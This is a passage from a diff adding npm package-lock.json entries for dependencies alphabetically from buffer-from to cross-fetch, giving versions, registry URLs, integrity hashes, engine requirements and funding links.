"https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001522", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001522.tgz", + "integrity": "sha512-TKiyTVZxJGhsTszLuzb+6vUZSjVOAhClszBr2Ta2k9IwtNBT/4dzmL6aywt0HCgEZlmwJzXJd8yNiob6HgwTRg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/ccount": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz", + "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/character-entities": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz", + "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", + "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz", + "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/cheerio": { + "version": "1.0.0-rc.12", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.12.tgz", + "integrity": "sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==", + "dependencies": { + "cheerio-select": "^2.1.0", + "dom-serializer": "^2.0.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "htmlparser2": "^8.0.1", + "parse5": "^7.0.0", + "parse5-htmlparser2-tree-adapter": "^7.0.0" + }, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/cheeriojs/cheerio?sponsor=1" + } + }, + "node_modules/cheerio-select": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-2.1.0.tgz", + "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==", + "dependencies": { + "boolbase": "^1.0.0", + "css-select": "^5.1.0", + "css-what": "^6.1.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.8.0.tgz", + "integrity": "sha512-eXTggHWSooYhq49F2opQhuHWgzucfF2YgODK4e1566GQs5BIfP30B0oenwBJHfWxAs2fyPB1s7Mg949zLf61Yw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "engines": { + "node": ">=8" + } + }, + "node_modules/clean-css": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.2.tgz", + "integrity": "sha512-JVJbM+f3d3Q704rF4bqQ5UUyTtuJ0JRKNbTKVEeujCCBoMdkEi+V+e8oktO9qGQNSvHrFTM6JZRXrUvGR1czww==", + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-boxes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-3.0.0.tgz", + "integrity": "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-table3": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.3.tgz", + "integrity": "sha512-w5Jac5SykAeZJKntOxJCrm63Eg5/4dhMWIcuTbo9rpE+brgaSZo0RuNJZeOyMgsUdhDeojvgyQLmjI+K50ZGyg==", + "dependencies": { + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "@colors/colors": "1.5.0" + } + }, + "node_modules/cli-table3/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/cli-table3/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clone-response": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", + "integrity": "sha512-yjLXh88P599UOyPTFX0POsd7WxnbsVsGohcwzHOLspIhhpalPw1BcqED8NblyZLKcGrL8dTgMlcaZxV2jAD41Q==", + "dependencies": { + "mimic-response": "^1.0.0" + } + }, + "node_modules/clsx": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.2.1.tgz", + "integrity": "sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/collapse-white-space": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-1.0.6.tgz", + "integrity": "sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/colord": { + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==" + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==" + }, + "node_modules/colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/combine-promises": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/combine-promises/-/combine-promises-1.2.0.tgz", + "integrity": "sha512-VcQB1ziGD0NXrhKxiwyNbCDmRzs/OShMs2GqW2DlU2A/Sd0nQxE1oWDAE5O0ygSx5mgQOn9eIFh7yKPgFRVkPQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/comma-separated-tokens": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz", + "integrity": "sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==" + }, + "node_modules/component-props": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/component-props/-/component-props-1.1.1.tgz", + "integrity": "sha512-69pIRJs9fCCHRqCz3390YF2LV1Lu6iEMZ5zuVqqUn+G20V9BNXlMs0cWawWeW9g4Ynmg29JmkG6R7/lUJoGd1Q==" + }, + "node_modules/component-xor": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/component-xor/-/component-xor-0.0.4.tgz", + "integrity": "sha512-ZIt6sla8gfo+AFVRZoZOertcnD5LJaY2T9CKE2j13NJxQt/mUafD69Bl7/Y4AnpI2LGjiXH7cOfJDx/n2G9edA==" + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/compression/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==" + }, + "node_modules/configstore": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz", + "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==", + "dependencies": { + "dot-prop": "^5.2.0", + "graceful-fs": "^4.1.2", + "make-dir": "^3.0.0", + "unique-string": "^2.0.0", + "write-file-atomic": "^3.0.0", + "xdg-basedir": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/consola": { + "version": "2.15.3", + "resolved": "https://registry.npmjs.org/consola/-/consola-2.15.3.tgz", + "integrity": "sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw==" + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" + }, + "node_modules/cookie": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", + "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" + }, + "node_modules/copy-text-to-clipboard": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/copy-text-to-clipboard/-/copy-text-to-clipboard-3.2.0.tgz", + "integrity": "sha512-RnJFp1XR/LOBDckxTib5Qjr/PMfkatD0MUCQgdpqS8MdKiNUzBjAQBEN6oUy+jW7LI93BBG3DtMB2KOOKpGs2Q==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/copy-webpack-plugin": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-11.0.0.tgz", + "integrity": "sha512-fX2MWpamkW0hZxMEg0+mYnA40LTosOSa5TqZ9GYIBzyJa9C3QUaMPSE2xAi/buNr8u89SfD9wHSQVBzrRa/SOQ==", + "dependencies": { + "fast-glob": "^3.2.11", + "glob-parent": "^6.0.1", + "globby": "^13.1.1", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0" + }, + "engines": { + "node": ">= 14.15.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + } + }, + "node_modules/copy-webpack-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/copy-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/copy-webpack-plugin/node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/copy-webpack-plugin/node_modules/globby": { + "version": "13.2.2", + "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz", + "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==", + "dependencies": { + "dir-glob": "^3.0.1", + "fast-glob": "^3.3.0", + "ignore": "^5.2.4", + "merge2": "^1.4.1", + "slash": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/copy-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/copy-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/copy-webpack-plugin/node_modules/slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/core-js": { + "version": "3.32.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.32.1.tgz", + "integrity": "sha512-lqufgNn9NLnESg5mQeYsxQP5w7wrViSj0jr/kv6ECQiByzQkrn1MKvV0L3acttpDqfQrHLwr2KCMgX5b8X+lyQ==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.32.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.32.1.tgz", + "integrity": "sha512-GSvKDv4wE0bPnQtjklV101juQ85g6H3rm5PDP20mqlS5j0kXF3pP97YvAu5hl+uFHqMictp3b2VxOHljWMAtuA==", + "dependencies": { + "browserslist": "^4.21.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-pure": { + "version": "3.32.1", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.32.1.tgz", + "integrity": "sha512-f52QZwkFVDPf7UEQZGHKx6NYxsxmVGJe5DIvbzOdRMJlmT6yv0KDjR8rmy3ngr/t5wU54c7Sp/qIJH0ppbhVpQ==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cross-fetch": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.8.tgz", + "integrity": "sha512-cvA+JwZoU0Xq+h6WkMvAUqPEYy92Obet6UdKLfW60qn99ftItKjB5T+BkyWOFWe2pUyfQ+IJHmpOTznqk1M6Kg==", + "dependencies": { + "node-fetch": "^2.6.12" + } + }, + "node_modules/cross-fetch/node_modules/node-fetch": { + "version": "2.6.13", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.13.tgz", + "integrity": 